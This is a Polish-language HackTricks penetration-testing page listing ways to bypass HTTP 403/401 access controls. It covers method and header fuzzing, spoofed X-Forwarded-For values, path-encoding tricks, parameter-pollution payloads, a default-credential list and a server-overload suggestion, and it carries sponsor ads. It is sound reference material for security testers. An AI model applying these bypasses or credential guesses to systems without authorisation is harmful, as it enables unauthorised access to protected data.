hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.3 KiB
Raw Blame History

403 & 401 Bypassy

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, uzyskiwanie dostępu i zabawę.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Fuzzing metod HTTP

Spróbuj użyć różnych metod do uzyskania dostępu do pliku: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Sprawdź nagłówki odpowiedzi, może jakieś informacje mogą być podane. Na przykład, odpowiedź 200 na HEAD z Content-Length: 55 oznacza, że metoda HEAD może uzyskać dostęp do informacji. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.
  • Użycie nagłówka HTTP, takiego jak X-HTTP-Method-Override: PUT, może nadpisać używaną metodę.
  • Użyj TRACE i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również nagłówki dodane przez pośrednie serwery proxy, które mogą być przydatne.

Fuzzing nagłówków HTTP

  • Zmień nagłówek Host na dowolną wartość (to zadziałało tutaj)

  • Spróbuj użyć innych User Agents do uzyskania dostępu do zasobu.

  • Fuzz nagłówków HTTP: Spróbuj użyć nagłówków proxy HTTP, podstawowego uwierzytelniania HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Jeśli ścieżka jest chroniona, możesz spróbować obejść ochronę ścieżki, używając tych innych nagłówków:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Jeśli strona jest za proxy, może to proxy uniemożliwiać ci dostęp do prywatnych informacji. Spróbuj nadużyć HTTP Request Smuggling lub nagłówków hop-by-hop.
  • Fuzz specjalnymi nagłówkami HTTP, szukając różnych odpowiedzi.
  • Fuzz specjalnymi nagłówkami HTTP podczas fuzzingu metod HTTP.
  • Usuń nagłówek Host i może uda ci się obejść ochronę.

Fuzzing ścieżki

Jeśli /path jest zablokowane:

  • Spróbuj użyć /%2e/path _(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także_** /%252e**/path (podwójne kodowanie URL)
  • Spróbuj obejścia Unicode: /%ef%bc%8fpath (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to //path i może już udało ci się obejść sprawdzanie nazwy /path
  • Inne obejścia ścieżki:
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Użyj tej listy w następujących sytuacjach:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Inne obejścia API:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthorized
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Manipulacja parametrami

  • Zmień wartość parametru: Z id=123 --> id=124
  • Dodaj dodatkowe parametry do URL: ?id=124 —-> id=124&isAdmin=true
  • Usuń parametry
  • Zmień kolejność parametrów
  • Użyj znaków specjalnych.
  • Wykonaj testy graniczne w parametrach — podaj wartości takie jak -234 lub 0 lub 99999999 (tylko kilka przykładowych wartości).

Wersja protokołu

Jeśli używasz HTTP/1.1 spróbuj użyć 1.0 lub nawet przetestuj, czy obsługuje 2.0.

Inne obejścia

  • Uzyskaj IP lub CNAME domeny i spróbuj skontaktować się z nią bezpośrednio.
  • Spróbuj obciążyć serwer, wysyłając powszechne żądania GET (to zadziałało dla tego gościa z Facebookiem).
  • Zmień protokół: z http na https, lub z https na http
  • Przejdź do https://archive.org/web/ i sprawdź, czy w przeszłości ten plik był ogólnodostępny.

Brute Force

  • Zgadnij hasło: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwę wyzwania CTF?
  • Brute force: Spróbuj podstawowego, digest i NTLM auth.

{% code title="Powszechne dane uwierzytelniające" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Narzędzia automatyczne

Natychmiastowo dostępna konfiguracja do oceny podatności i testów penetracyjnych. Przeprowadź pełny pentest z dowolnego miejsca z 20+ narzędziami i funkcjami, które obejmują od rekonesansu po raportowanie. Nie zastępujemy pentesterów - rozwijamy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im z powrotem trochę czasu na głębsze badania, przełamywanie zabezpieczeń i zabawę.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}